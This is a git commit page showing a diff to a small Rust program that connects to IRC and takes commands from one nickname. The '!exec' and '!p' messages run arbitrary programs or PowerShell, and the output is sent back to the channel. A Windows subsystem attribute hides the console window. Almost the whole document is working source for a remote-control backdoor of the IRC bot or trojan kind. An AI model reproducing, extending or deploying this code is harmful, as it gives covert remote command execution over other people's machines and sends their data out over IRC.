check command
All checks were successful
continuous-integration/drone/push Build is passing

This commit is contained in:
blackbeard420 2023-12-28 23:40:04 -05:00
parent 63a0597cd1
commit b2ad74ff2b
Signed by: blackbeard420
GPG Key ID: 88C719E09CDDA4A5

View File

@ -1,9 +1,8 @@
#![windows_subsystem = "windows"]
use irc::client::prelude::*;
use futures::prelude::*;
use std::{process, collections::HashMap};
use irc::client::prelude::*;
use std::{collections::HashMap, process};
#[tokio::main]
async fn main() -> Result<(), failure::Error> {
@ -28,58 +27,55 @@ async fn main() -> Result<(), failure::Error> {
match message.command {
Command::PRIVMSG(ref target, ref msg) => {
if msg.starts_with("!") && message.source_nickname().unwrap() == "blackbeard420" {
if &msg[1..5] == "exec" {
let mut args = msg.split_ascii_whitespace().skip(1);
let mut cmd = process::Command::new(args.nth(0).unwrap());
for x in args {
cmd.arg(x);
let cmd = msg.split_ascii_whitespace().nth(0);
match cmd {
Some("!exec") => {
let mut args = msg.split_ascii_whitespace().skip(1);
let mut cmd = process::Command::new(args.nth(0).unwrap());
for x in args {
cmd.arg(x);
}
println!("{:?}", cmd);
let out = cmd.output().unwrap();
let output = String::from_utf8_lossy(&out.stdout).to_string();
let s = sender.clone();
let t = target.to_string();
tokio::spawn(async move { send_message(s, t, output).await });
}
println!("{:?}", cmd);
let out = cmd.output().unwrap();
let output = String::from_utf8_lossy(&out.stdout).to_string();
let s = sender.clone();
let t = target.to_string();
tokio::spawn(async move {
send_message(s, t, output).await
});
}
if &msg[1..2] == "p" {
let mut cmd = process::Command::new("powershell");
cmd.arg("-command");
cmd.arg(&msg[3..]);
println!("{:?}", cmd);
let out = cmd.output().unwrap();
let outerr = String::from_utf8_lossy(&out.stderr).to_string();
let output = String::from_utf8_lossy(&out.stdout).to_string();
let s = sender.clone();
let t = target.to_string();
tokio::spawn(async move {
send_message(s, t, outerr).await
});
let s = sender.clone();
let t = target.to_string();
tokio::spawn(async move {
send_message(s.clone(), t, output).await
});
Some("!p") => {
let mut cmd = process::Command::new("powershell");
cmd.arg("-command");
cmd.arg(&msg[3..]);
println!("{:?}", cmd);
let out = cmd.output().unwrap();
let outerr = String::from_utf8_lossy(&out.stderr).to_string();
let output = String::from_utf8_lossy(&out.stdout).to_string();
let s = sender.clone();
let t = target.to_string();
tokio::spawn(async move { send_message(s, t, outerr).await });
let s = sender.clone();
let t = target.to_string();
tokio::spawn(async move { send_message(s.clone(), t, output).await });
}
_ => {}
}
}
}
@ -90,10 +86,14 @@ async fn main() -> Result<(), failure::Error> {
Ok(())
}
async fn send_message(sender: irc::client::Sender, target: String, msg: String) -> Result<(), failure::Error> {
async fn send_message(
sender: irc::client::Sender,
target: String,
msg: String,
) -> Result<(), failure::Error> {
for l in msg.lines() {
sender.send_privmsg(target.clone(), l)?;
tokio::time::sleep(tokio::time::Duration::from_secs(1)).await;
}
Ok(())
}
}